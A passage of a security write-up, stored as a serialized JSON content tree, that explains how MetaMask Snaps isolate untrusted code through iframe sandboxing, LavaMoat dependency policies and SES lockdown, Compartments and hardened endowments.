iframe",{"type":23,"tag":213,"props":36802,"children":36803},{"style":220},[36804],{"type":28,"value":124},{"type":23,"tag":213,"props":36806,"children":36807},{"style":257},[36808],{"type":28,"value":36809},"setAttribute",{"type":23,"tag":213,"props":36811,"children":36812},{"style":220},[36813],{"type":28,"value":265},{"type":23,"tag":213,"props":36815,"children":36816},{"style":246},[36817],{"type":28,"value":36818},"'id'",{"type":23,"tag":213,"props":36820,"children":36821},{"style":220},[36822],{"type":28,"value":424},{"type":23,"tag":213,"props":36824,"children":36825},{"style":268},[36826],{"type":28,"value":1804},{"type":23,"tag":213,"props":36828,"children":36829},{"style":220},[36830],{"type":28,"value":2867},{"type":23,"tag":213,"props":36832,"children":36833},{"class":215,"line":524},[36834,36838,36842,36846,36850,36855,36859,36864],{"type":23,"tag":213,"props":36835,"children":36836},{"style":268},[36837],{"type":28,"value":36800},{"type":23,"tag":213,"props":36839,"children":36840},{"style":220},[36841],{"type":28,"value":124},{"type":23,"tag":213,"props":36843,"children":36844},{"style":257},[36845],{"type":28,"value":36809},{"type":23,"tag":213,"props":36847,"children":36848},{"style":220},[36849],{"type":28,"value":265},{"type":23,"tag":213,"props":36851,"children":36852},{"style":246},[36853],{"type":28,"value":36854},"'data-testid'",{"type":23,"tag":213,"props":36856,"children":36857},{"style":220},[36858],{"type":28,"value":424},{"type":23,"tag":213,"props":36860,"children":36861},{"style":246},[36862],{"type":28,"value":36863},"'snaps-iframe'",{"type":23,"tag":213,"props":36865,"children":36866},{"style":220},[36867],{"type":28,"value":2867},{"type":23,"tag":213,"props":36869,"children":36870},{"class":215,"line":533},[36871],{"type":23,"tag":213,"props":36872,"children":36873},{"emptyLinePlaceholder":18},[36874],{"type":28,"value":530},{"type":23,"tag":213,"props":36876,"children":36877},{"class":215,"line":543},[36878,36882,36886,36891],{"type":23,"tag":213,"props":36879,"children":36880},{"style":1362},[36881],{"type":28,"value":2653},{"type":23,"tag":213,"props":36883,"children":36884},{"style":220},[36885],{"type":28,"value":400},{"type":23,"tag":213,"props":36887,"children":36888},{"style":268},[36889],{"type":28,"value":36890},"sandbox",{"type":23,"tag":213,"props":36892,"children":36893},{"style":220},[36894],{"type":28,"value":14870},{"type":23,"tag":213,"props":36896,"children":36897},{"class":215,"line":551},[36898,36903,36907,36911,36915,36920,36924,36929],{"type":23,"tag":213,"props":36899,"children":36900},{"style":268},[36901],{"type":28,"value":36902}," iframe",{"type":23,"tag":213,"props":36904,"children":36905},{"style":220},[36906],{"type":28,"value":124},{"type":23,"tag":213,"props":36908,"children":36909},{"style":257},[36910],{"type":28,"value":36809},{"type":23,"tag":213,"props":36912,"children":36913},{"style":220},[36914],{"type":28,"value":265},{"type":23,"tag":213,"props":36916,"children":36917},{"style":246},[36918],{"type":28,"value":36919},"'sandbox'",{"type":23,"tag":213,"props":36921,"children":36922},{"style":220},[36923],{"type":28,"value":424},{"type":23,"tag":213,"props":36925,"children":36926},{"style":246},[36927],{"type":28,"value":36928},"'allow-scripts'",{"type":23,"tag":213,"props":36930,"children":36931},{"style":220},[36932],{"type":28,"value":2867},{"type":23,"tag":213,"props":36934,"children":36935},{"class":215,"line":570},[36936],{"type":23,"tag":213,"props":36937,"children":36938},{"style":220},[36939],{"type":28,"value":2875},{"type":23,"tag":213,"props":36941,"children":36942},{"class":215,"line":655},[36943,36947,36951,36955,36959,36964,36968,36973],{"type":23,"tag":213,"props":36944,"children":36945},{"style":268},[36946],{"type":28,"value":36800},{"type":23,"tag":213,"props":36948,"children":36949},{"style":220},[36950],{"type":28,"value":124},{"type":23,"tag":213,"props":36952,"children":36953},{"style":257},[36954],{"type":28,"value":36809},{"type":23,"tag":213,"props":36956,"children":36957},{"style":220},[36958],{"type":28,"value":265},{"type":23,"tag":213,"props":36960,"children":36961},{"style":246},[36962],{"type":28,"value":36963},"'src'",{"type":23,"tag":213,"props":36965,"children":36966},{"style":220},[36967],{"type":28,"value":424},{"type":23,"tag":213,"props":36969,"children":36970},{"style":268},[36971],{"type":28,"value":36972},"uri",{"type":23,"tag":213,"props":36974,"children":36975},{"style":220},[36976],{"type":28,"value":2867},{"type":23,"tag":213,"props":36978,"children":36979},{"class":215,"line":1176},[36980,36984,36988,36992,36996,37001,37005,37010],{"type":23,"tag":213,"props":36981,"children":36982},{"style":268},[36983],{"type":28,"value":34730},{"type":23,"tag":213,"props":36985,"children":36986},{"style":220},[36987],{"type":28,"value":124},{"type":23,"tag":213,"props":36989,"children":36990},{"style":268},[36991],{"type":28,"value":32455},{"type":23,"tag":213,"props":36993,"children":36994},{"style":220},[36995],{"type":28,"value":124},{"type":23,"tag":213,"props":36997,"children":36998},{"style":257},[36999],{"type":28,"value":37000},"appendChild",{"type":23,"tag":213,"props":37002,"children":37003},{"style":220},[37004],{"type":28,"value":265},{"type":23,"tag":213,"props":37006,"children":37007},{"style":268},[37008],{"type":28,"value":37009},"iframe",{"type":23,"tag":213,"props":37011,"children":37012},{"style":220},[37013],{"type":28,"value":2867},{"type":23,"tag":24,"props":37015,"children":37016},{},[37017],{"type":28,"value":37018},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":9693,"props":37020,"children":37022},{"id":37021},"lavamoat-against-supply-chain-attacks-layer-2",[37023],{"type":28,"value":37024},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":24,"props":37026,"children":37027},{},[37028],{"type":28,"value":37029},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":24,"props":37031,"children":37032},{},[37033,37035,37041],{"type":28,"value":37034},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":209,"props":37036,"children":37038},{"className":37037},[],[37039],{"type":28,"value":37040},"fs",{"type":28,"value":37042},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":24,"props":37044,"children":37045},{},[37046],{"type":28,"value":37047},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":24,"props":37049,"children":37050},{},[37051,37053,37060],{"type":28,"value":37052},"This is how a Policy file related to the iframes ",{"type":23,"tag":36,"props":37054,"children":37057},{"href":37055,"rel":37056},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[40],[37058],{"type":28,"value":37059},"looks",{"type":28,"value":277},{"type":23,"tag":202,"props":37062,"children":37064},{"className":34052,"code":37063,"language":34054,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n \"globals\": {\n \"MessageEvent.prototype\": true,\n \"WorkerGlobalScope\": true,\n \"addEventListener\": true,\n \"browser\": true,\n \"chrome\": true,\n \"location.origin\": true,\n \"postMessage\": true,\n \"removeEventListener\": true\n },\n \"packages\": {\n \"@metamask/post-message-stream>@metamask/utils\": true,\n \"@metamask/post-message-stream>readable-stream\": true\n }\n }\n",[37065],{"type":23,"tag":209,"props":37066,"children":37067},{"__ignoreMap":7},[37068,37081,37093,37113,37133,37153,37173,37193,37213,37233,37250,37258,37270,37290,37306,37313],{"type":23,"tag":213,"props":37069,"children":37070},{"class":215,"line":216},[37071,37076],{"type":23,"tag":213,"props":37072,"children":37073},{"style":246},[37074],{"type":28,"value":37075},"\"@metamask/post-message-stream\"",{"type":23,"tag":213,"props":37077,"children":37078},{"style":220},[37079],{"type":28,"value":37080},": {\n",{"type":23,"tag":213,"props":37082,"children":37083},{"class":215,"line":226},[37084,37089],{"type":23,"tag":213,"props":37085,"children":37086},{"style":268},[37087],{"type":28,"value":37088}," \"globals\"",{"type":23,"tag":213,"props":37090,"children":37091},{"style":220},[37092],{"type":28,"value":37080},{"type":23,"tag":213,"props":37094,"children":37095},{"class":215,"line":524},[37096,37101,37105,37109],{"type":23,"tag":213,"props":37097,"children":37098},{"style":268},[37099],{"type":28,"value":37100}," \"MessageEvent.prototype\"",{"type":23,"tag":213,"props":37102,"children":37103},{"style":220},[37104],{"type":28,"value":15390},{"type":23,"tag":213,"props":37106,"children":37107},{"style":230},[37108],{"type":28,"value":1710},{"type":23,"tag":213,"props":37110,"children":37111},{"style":220},[37112],{"type":28,"value":944},{"type":23,"tag":213,"props":37114,"children":37115},{"class":215,"line":533},[37116,37121,37125,37129],{"type":23,"tag":213,"props":37117,"children":37118},{"style":268},[37119],{"type":28,"value":37120}," \"WorkerGlobalScope\"",{"type":23,"tag":213,"props":37122,"children":37123},{"style":220},[37124],{"type":28,"value":15390},{"type":23,"tag":213,"props":37126,"children":37127},{"style":230},[37128],{"type":28,"value":1710},{"type":23,"tag":213,"props":37130,"children":37131},{"style":220},[37132],{"type":28,"value":944},{"type":23,"tag":213,"props":37134,"children":37135},{"class":215,"line":543},[37136,37141,37145,37149],{"type":23,"tag":213,"props":37137,"children":37138},{"style":268},[37139],{"type":28,"value":37140}," \"addEventListener\"",{"type":23,"tag":213,"props":37142,"children":37143},{"style":220},[37144],{"type":28,"value":15390},{"type":23,"tag":213,"props":37146,"children":37147},{"style":230},[37148],{"type":28,"value":1710},{"type":23,"tag":213,"props":37150,"children":37151},{"style":220},[37152],{"type":28,"value":944},{"type":23,"tag":213,"props":37154,"children":37155},{"class":215,"line":551},[37156,37161,37165,37169],{"type":23,"tag":213,"props":37157,"children":37158},{"style":268},[37159],{"type":28,"value":37160}," \"browser\"",{"type":23,"tag":213,"props":37162,"children":37163},{"style":220},[37164],{"type":28,"value":15390},{"type":23,"tag":213,"props":37166,"children":37167},{"style":230},[37168],{"type":28,"value":1710},{"type":23,"tag":213,"props":37170,"children":37171},{"style":220},[37172],{"type":28,"value":944},{"type":23,"tag":213,"props":37174,"children":37175},{"class":215,"line":570},[37176,37181,37185,37189],{"type":23,"tag":213,"props":37177,"children":37178},{"style":268},[37179],{"type":28,"value":37180}," \"chrome\"",{"type":23,"tag":213,"props":37182,"children":37183},{"style":220},[37184],{"type":28,"value":15390},{"type":23,"tag":213,"props":37186,"children":37187},{"style":230},[37188],{"type":28,"value":1710},{"type":23,"tag":213,"props":37190,"children":37191},{"style":220},[37192],{"type":28,"value":944},{"type":23,"tag":213,"props":37194,"children":37195},{"class":215,"line":655},[37196,37201,37205,37209],{"type":23,"tag":213,"props":37197,"children":37198},{"style":268},[37199],{"type":28,"value":37200}," \"location.origin\"",{"type":23,"tag":213,"props":37202,"children":37203},{"style":220},[37204],{"type":28,"value":15390},{"type":23,"tag":213,"props":37206,"children":37207},{"style":230},[37208],{"type":28,"value":1710},{"type":23,"tag":213,"props":37210,"children":37211},{"style":220},[37212],{"type":28,"value":944},{"type":23,"tag":213,"props":37214,"children":37215},{"class":215,"line":1176},[37216,37221,37225,37229],{"type":23,"tag":213,"props":37217,"children":37218},{"style":268},[37219],{"type":28,"value":37220}," \"postMessage\"",{"type":23,"tag":213,"props":37222,"children":37223},{"style":220},[37224],{"type":28,"value":15390},{"type":23,"tag":213,"props":37226,"children":37227},{"style":230},[37228],{"type":28,"value":1710},{"type":23,"tag":213,"props":37230,"children":37231},{"style":220},[37232],{"type":28,"value":944},{"type":23,"tag":213,"props":37234,"children":37235},{"class":215,"line":1202},[37236,37241,37245],{"type":23,"tag":213,"props":37237,"children":37238},{"style":268},[37239],{"type":28,"value":37240}," \"removeEventListener\"",{"type":23,"tag":213,"props":37242,"children":37243},{"style":220},[37244],{"type":28,"value":15390},{"type":23,"tag":213,"props":37246,"children":37247},{"style":230},[37248],{"type":28,"value":37249},"true\n",{"type":23,"tag":213,"props":37251,"children":37252},{"class":215,"line":1758},[37253],{"type":23,"tag":213,"props":37254,"children":37255},{"style":220},[37256],{"type":28,"value":37257}," },\n",{"type":23,"tag":213,"props":37259,"children":37260},{"class":215,"line":1767},[37261,37266],{"type":23,"tag":213,"props":37262,"children":37263},{"style":268},[37264],{"type":28,"value":37265}," \"packages\"",{"type":23,"tag":213,"props":37267,"children":37268},{"style":220},[37269],{"type":28,"value":37080},{"type":23,"tag":213,"props":37271,"children":37272},{"class":215,"line":1789},[37273,37278,37282,37286],{"type":23,"tag":213,"props":37274,"children":37275},{"style":268},[37276],{"type":28,"value":37277}," \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":213,"props":37279,"children":37280},{"style":220},[37281],{"type":28,"value":15390},{"type":23,"tag":213,"props":37283,"children":37284},{"style":230},[37285],{"type":28,"value":1710},{"type":23,"tag":213,"props":37287,"children":37288},{"style":220},[37289],{"type":28,"value":944},{"type":23,"tag":213,"props":37291,"children":37292},{"class":215,"line":1812},[37293,37298,37302],{"type":23,"tag":213,"props":37294,"children":37295},{"style":268},[37296],{"type":28,"value":37297}," \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":213,"props":37299,"children":37300},{"style":220},[37301],{"type":28,"value":15390},{"type":23,"tag":213,"props":37303,"children":37304},{"style":230},[37305],{"type":28,"value":37249},{"type":23,"tag":213,"props":37307,"children":37308},{"class":215,"line":1838},[37309],{"type":23,"tag":213,"props":37310,"children":37311},{"style":220},[37312],{"type":28,"value":12746},{"type":23,"tag":213,"props":37314,"children":37315},{"class":215,"line":1851},[37316],{"type":23,"tag":213,"props":37317,"children":37318},{"style":220},[37319],{"type":28,"value":2875},{"type":23,"tag":24,"props":37321,"children":37322},{},[37323,37325,37331,37333,37339,37341,37347,37349,37355,37356,37362],{"type":28,"value":37324},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":209,"props":37326,"children":37328},{"className":37327},[],[37329],{"type":28,"value":37330},"globals",{"type":28,"value":37332}," section, is the ",{"type":23,"tag":209,"props":37334,"children":37336},{"className":37335},[],[37337],{"type":28,"value":37338},"packages",{"type":28,"value":37340}," segment. This section permits the ",{"type":23,"tag":209,"props":37342,"children":37344},{"className":37343},[],[37345],{"type":28,"value":37346},"@metamask/post-message-stream",{"type":28,"value":37348},"package to exclusively interact with the package ",{"type":23,"tag":209,"props":37350,"children":37352},{"className":37351},[],[37353],{"type":28,"value":37354},"@metamask/utils",{"type":28,"value":1466},{"type":23,"tag":209,"props":37357,"children":37359},{"className":37358},[],[37360],{"type":28,"value":37361},"readable-stream",{"type":28,"value":37363},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":24,"props":37365,"children":37366},{},[37367,37369,37375],{"type":28,"value":37368},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":209,"props":37370,"children":37372},{"className":37371},[],[37373],{"type":28,"value":37374},"lockdown",{"type":28,"value":37376}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":9693,"props":37378,"children":37380},{"id":37379},"secure-ecmascript-ses-sandbox-layer-3",[37381],{"type":28,"value":37382},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":24,"props":37384,"children":37385},{},[37386,37388,37395],{"type":28,"value":37387},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":36,"props":37389,"children":37392},{"href":37390,"rel":37391},"https://github.com/endojs/endo/tree/master/packages/ses",[40],[37393],{"type":28,"value":37394},"Secure EcmaScript (SES)",{"type":28,"value":37396}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":18945,"props":37398,"children":37400},{"id":37399},"ses-fundamentals",[37401],{"type":28,"value":37402},"SES Fundamentals",{"type":23,"tag":37404,"props":37405,"children":37406},"h5",{"id":37374},[37407],{"type":28,"value":37408},"Lockdown",{"type":23,"tag":24,"props":37410,"children":37411},{},[37412,37414,37420],{"type":28,"value":37413},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":209,"props":37415,"children":37417},{"className":37416},[],[37418],{"type":28,"value":37419},"lockdown()",{"type":28,"value":37421}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":131,"props":37423,"children":37424},{},[37425,37438],{"type":23,"tag":135,"props":37426,"children":37427},{},[37428,37430,37436],{"type":28,"value":37429},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":209,"props":37431,"children":37433},{"className":37432},[],[37434],{"type":28,"value":37435},"Object.freeze",{"type":28,"value":37437}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":135,"props":37439,"children":37440},{},[37441,37443,37449,37451,37457],{"type":28,"value":37442},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":209,"props":37444,"children":37446},{"className":37445},[],[37447],{"type":28,"value":37448},"trace",{"type":28,"value":37450}," attribute in an ",{"type":23,"tag":209,"props":37452,"children":37454},{"className":37453},[],[37455],{"type":28,"value":37456},"Error",{"type":28,"value":37458}," object, which contains the stack trace of the error.",{"type":23,"tag":37404,"props":37460,"children":37462},{"id":37461},"compartment",[37463],{"type":28,"value":37464},"Compartment",{"type":23,"tag":24,"props":37466,"children":37467},{},[37468,37470,37476,37478,37483],{"type":28,"value":37469},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":209,"props":37471,"children":37473},{"className":37472},[],[37474],{"type":28,"value":37475},"globalThis",{"type":28,"value":37477}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":209,"props":37479,"children":37481},{"className":37480},[],[37482],{"type":28,"value":37475},{"type":28,"value":37484}," context is incapable of tampering with security.",{"type":23,"tag":202,"props":37486,"children":37488},{"className":35671,"code":37487,"language":35673,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[37489],{"type":23,"tag":209,"props":37490,"children":37491},{"__ignoreMap":7},[37492,37521,37554],{"type":23,"tag":213,"props":37493,"children":37494},{"class":215,"line":216},[37495,37499,37504,37508,37512,37517],{"type":23,"tag":213,"props":37496,"children":37497},{"style":230},[37498],{"type":28,"value":632},{"type":23,"tag":213,"props":37500,"children":37501},{"style":268},[37502],{"type":28,"value":37503}," c",{"type":23,"tag":213,"props":37505,"children":37506},{"style":274},[37507],{"type":28,"value":511},{"type":23,"tag":213,"props":37509,"children":37510},{"style":230},[37511],{"type":28,"value":31989},{"type":23,"tag":213,"props":37513,"children":37514},{"style":257},[37515],{"type":28,"value":37516}," Compartment",{"type":23,"tag":213,"props":37518,"children":37519},{"style":220},[37520],{"type":28,"value":3759},{"type":23,"tag":213,"props":37522,"children":37523},{"class":215,"line":226},[37524,37528,37532,37536,37540,37545,37549],{"type":23,"tag":213,"props":37525,"children":37526},{"style":268},[37527],{"type":28,"value":3244},{"type":23,"tag":213,"props":37529,"children":37530},{"style":220},[37531],{"type":28,"value":124},{"type":23,"tag":213,"props":37533,"children":37534},{"style":268},[37535],{"type":28,"value":37475},{"type":23,"tag":213,"props":37537,"children":37538},{"style":274},[37539],{"type":28,"value":31478},{"type":23,"tag":213,"props":37541,"children":37542},{"style":268},[37543],{"type":28,"value":37544}," globalThis",{"type":23,"tag":213,"props":37546,"children":37547},{"style":220},[37548],{"type":28,"value":17277},{"type":23,"tag":213,"props":37550,"children":37551},{"style":537},[37552],{"type":28,"value":37553},"// false\n",{"type":23,"tag":213,"props":37555,"children":37556},{"class":215,"line":524},[37557,37561,37565,37569,37573,37578,37582,37587,37591],{"type":23,"tag":213,"props":37558,"children":37559},{"style":268},[37560],{"type":28,"value":3244},{"type":23,"tag":213,"props":37562,"children":37563},{"style":220},[37564],{"type":28,"value":124},{"type":23,"tag":213,"props":37566,"children":37567},{"style":268},[37568],{"type":28,"value":37475},{"type":23,"tag":213,"props":37570,"children":37571},{"style":220},[37572],{"type":28,"value":124},{"type":23,"tag":213,"props":37574,"children":37575},{"style":268},[37576],{"type":28,"value":37577},"JSON",{"type":23,"tag":213,"props":37579,"children":37580},{"style":274},[37581],{"type":28,"value":31478},{"type":23,"tag":213,"props":37583,"children":37584},{"style":268},[37585],{"type":28,"value":37586}," JSON",{"type":23,"tag":213,"props":37588,"children":37589},{"style":220},[37590],{"type":28,"value":17277},{"type":23,"tag":213,"props":37592,"children":37593},{"style":537},[37594],{"type":28,"value":37595},"// true\n",{"type":23,"tag":24,"props":37597,"children":37598},{},[37599,37601,37607,37609,37615,37617,37622],{"type":28,"value":37600},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":209,"props":37602,"children":37604},{"className":37603},[],[37605],{"type":28,"value":37606},"eval",{"type":28,"value":37608}," and the ",{"type":23,"tag":209,"props":37610,"children":37612},{"className":37611},[],[37613],{"type":28,"value":37614},"Function",{"type":28,"value":37616}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":209,"props":37618,"children":37620},{"className":37619},[],[37621],{"type":28,"value":37475},{"type":28,"value":124},{"type":23,"tag":37404,"props":37624,"children":37626},{"id":37625},"endowments",[37627],{"type":28,"value":37628},"Endowments",{"type":23,"tag":24,"props":37630,"children":37631},{},[37632,37634,37638,37640,37645],{"type":28,"value":37633},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":87,"props":37635,"children":37636},{},[37637],{"type":28,"value":37625},{"type":28,"value":37639},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":209,"props":37641,"children":37643},{"className":37642},[],[37644],{"type":28,"value":37475},{"type":28,"value":37646},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":24,"props":37648,"children":37649},{},[37650,37652,37658],{"type":28,"value":37651},"In addition, SES provides the ",{"type":23,"tag":209,"props":37653,"children":37655},{"className":37654},[],[37656],{"type":28,"value":37657},"harden()",{"type":28,"value":37659}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":18945,"props":37661,"children":37663},{"id":37662},"setting-up-snaps-execution-env",[37664],{"type":28,"value":37665},"Setting up Snaps Execution Env",{"type":23,"tag":24,"props":37667,"children":37668},{},[37669],{"type":28,"value":37670},"When starting a snap, the setup follows these steps:",{"type":23,"tag":131,"props":37672,"children":37673},{},[37674],{"type":23,"tag":135,"props":37675,"children":37676},{},[37677],{"type":23,"tag":95,"props":37678,"children":37679},{},[37680,37682],{"type":28,"value":37681},"Create endowments based on snap ",{"type":23,"tag":36,"props":37683,"children":37686},{"href":37684,"rel":37685},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[40],[37687],{"type":28,"value":37688},"permissions",{"type":23,"tag":202,"props":37690,"children":37692},{"className":35671,"code":37691,"language":35673,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n snap,\n ethereum,\n snapId,\n _endowments,\n);\n",[37693],{"type":23,"tag":209,"props":37694,"children":37695},{"__ignoreMap":7},[37696,37746,37758,37769,37781,37793],{"type":23,"tag":213,"props":37697,"children":37698},{"class":215,"line":216},[37699,37703,37707,37711,37715,37720,37724,37729,37733,37737,37742],{"type":23,"tag":213,"props":37700,"children":37701},{"style":230},[37702],{"type":28,"value":632},{"type":23,"tag":213,"props":37704,"children":37705},{"style":220},[37706],{"type":28,"value":2572},{"type":23,"tag":213,"props":37708,"children":37709},{"style":268},[37710],{"type":28,"value":37625},{"type":23,"tag":213,"props":37712,"children":37713},{"style":220},[37714],{"type":28,"value":424},{"type":23,"tag":213,"props":37716,"children":37717},{"style":268},[37718],{"type":28,"value":37719},"teardown",{"type":23,"tag":213,"props":37721,"children":37722},{"style":220},[37723],{"type":28,"value":15390},{"type":23,"tag":213,"props":37725,"children":37726},{"style":268},[37727],{"type":28,"value":37728},"endowmentTeardown",{"type":23,"tag":213,"props":37730,"children":37731},{"style":220},[37732],{"type":28,"value":36260},{"type":23,"tag":213,"props":37734,"children":37735},{"style":274},[37736],{"type":28,"value":3190},{"type":23,"tag":213,"props":37738,"children":37739},{"style":257},[37740],{"type":28,"value":37741}," createEndowments",{"type":23,"tag":213,"props":37743,"children":37744},{"style":220},[37745],{"type":28,"value":1511},{"type":23,"tag":213,"props":37747,"children":37748},{"class":215,"line":226},[37749,37754],{"type":23,"tag":213,"props":37750,"children":37751},{"style":268},[37752],{"type":28,"value":37753}," snap",{"type":23,"tag":213,"props":37755,"children":37756},{"style":220},[37757],{"type":28,"value":944},{"type":23,"tag":213,"props":37759,"children":37760},{"class":215,"line":524},[37761,37765],{"type":23,"tag":213,"props":37762,"children":37763},{"style":268},[37764],{"type":28,"value":31540},{"type":23,"tag":213,"props":37766,"children":37767},{"style":220},[37768],{"type":28,"value":944},{"type":23,"tag":213,"props":37770,"children":37771},{"class":215,"line":533},[37772,37777],{"type":23,"tag":213,"props":37773,"children":37774},{"style":268},[37775],{"type":28,"value":37776}," snapId",{"type":23,"tag":213,"props":37778,"children":37779},{"style":220},[37780],{"type":28,"value":944},{"type":23,"tag":213,"props":37782,"children":37783},{"class":215,"line":543},[37784,37789],{"type":23,"tag":213,"props":37785,"children":37786},{"style":268},[37787],{"type":28,"value":37788}," _endowments",{"type":23,"tag":213,"props":37790,"children":37791},{"style":220},[37792],{"type":28,"value":944},{"type":23,"tag":213,"props":37794,"children":37795},{"class":215,"line":551},[37796],{"type":23,"tag":213,"props":37797,"children":37798},{"style":220},[37799],{"type":28,"value":2867},{"type":23,"tag":24,"props":37801,"children":37802},{},[37803],{"type":28,"value":37804},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":24,"props":37806,"children":37807},{},[37808,37810,37816,37818,37824],{"type":28,"value":37809},"One clear example is the ",{"type":23,"tag":209,"props":37811,"children":37813},{"className":37812},[],[37814],{"type":28,"value":37815},"endowment:network-access",{"type":28,"value":37817}," permission, that adds the ",{"type":23,"tag":209,"props":37819,"children":37821},{"className":37820},[],[37822],{"type":28,"value":37823},"fetch()",{"type":28,"value":37825}," function to the endowments.",{"type":23,"tag":24,"props":37827,"children":37828},{},[37829,37831,37837],{"type":28,"value":37830},"All endowments are protected with the ",{"type":23,"tag":209,"props":37832,"children":37834},{"className":37833},[],[37835],{"type":28,"value":37836},"harden",{"type":28,"value":37838}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":131,"props":37840,"children":37841},{"start":226},[37842],{"type":23,"tag":135,"props":37843,"children":37844},{},[37845],{"type":23,"tag":95,"props":37846,"children":37847},{},[37848,37850],{"type":28,"value":37849},"Create the snap ",{"type":23,"tag":36,"props":37851,"children":37854},{"href":37852,"rel":37853},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[40],[37855],{"type":28,"value":37461},{"type":23,"tag":202,"props":37857,"children":37859},{"className":35671,"code":37858,"language":35673,"meta":7,"style":7},"const compartment = new Compartment({\n ...endowments,\n module: snapModule,\n exports: snapModule.exports,\n});\n",[37860],{"type":23,"tag":209,"props":37861,"children":37862},{"__ignoreMap":7},[37863,37891,37907,37924,37949],{"type":23,"tag":213,"props":37864,"children":37865},{"class":215,"line":216},[37866,37870,37875,37879,37883,37887],{"type":23,"tag":213,"props":37867,"children":37868},{"style":230},[37869],{"type":28,"value":632},{"type":23,"tag":213,"props":37871,"children":37872},{"style":268},[37873],{"type":28,"value":37874}," compartment",{"type":23,"tag":213,"props":37876,"children":37877},{"style":274},[37878],{"type":28,"value":511},{"type":23,"tag":213,"props":37880,"children":37881},{"style":230},[37882],{"type":28,"value":31989},{"type":23,"tag":213,"props":37884,"children":37885},{"style":257},[37886],{"type":28,"value":37516},{"type":23,"tag":213,"props":37888,"children":37889},{"style":220},[37890],{"type":28,"value":15199},{"type":23,"tag":213,"props":37892,"children":37893},{"class":215,"line":226},[37894,37899,37903],{"type":23,"tag":213,"props":37895,"children":37896},{"style":274},[37897],{"type":28,"value":37898}," ...",{"type":23,"tag":213,"props":37900,"children":37901},{"style":268},[37902],{"type":28,"value":37625},{"type":23,"tag":213,"props":37904,"children":37905},{"style":220},[37906],{"type":28,"value":944},{"type":23,"tag":213,"props":37908,"children":37909},{"class":215,"line":524},[37910,37915,37920],{"type":23,"tag":213,"props":37911,"children":37912},{"style":268},[37913],{"type":28,"value":37914}," module:",{"type":23,"tag":213,"props":37916,"children":37917},{"style":268},[37918],{"type":28,"value":37919}," snapModule",{"type":23,"tag":213,"props":37921,"children":37922},{"style":220},[37923],{"type":28,"value":944},{"type":23,"tag":213,"props":37925,"children":37926},{"class":215,"line":533},[37927,37932,37936,37940,37945],{"type":23,"tag":213,"props":37928,"children":37929},{"style":268},[37930],{"type":28,"value":37931}," exports:",{"type":23,"tag":213,"props":37933,"children":37934},{"style":268},[37935],{"type":28,"value":37919},{"type":23,"tag":213,"props":37937,"children":37938},{"style":220},[37939],{"type":28,"value":124},{"type":23,"tag":213,"props":37941,"children":37942},{"style":268},[37943],{"type":28,"value":37944},"exports",{"type":23,"tag":213,"props":37946,"children":37947},{"style":220},[37948],{"type":28,"value":944},{"type":23,"tag":213,"props":37950,"children":37951},{"class":215,"line":543},[37952],{"type":23,"tag":213,"props":37953,"children":37954},{"style":220},[37955],{"type":28,"value":35395},{"type":23,"tag":24,"props":37957,"children":37958},{},[37959,37961,37967,37968,37973,37975,37980],{"type":28,"value":37960},"Note: ",{"type":23,"tag":209,"props":37962,"children":37964},{"className":37963},[],[37965],{"type":28,"value":37966},"module",{"type":28,"value":1466},{"type":23,"tag":209,"props":37969,"children":37971},{"className":37970},[],[37972],{"type":28,"value":37944},{"type":28,"value":37974}," are passed as endowments, but without being 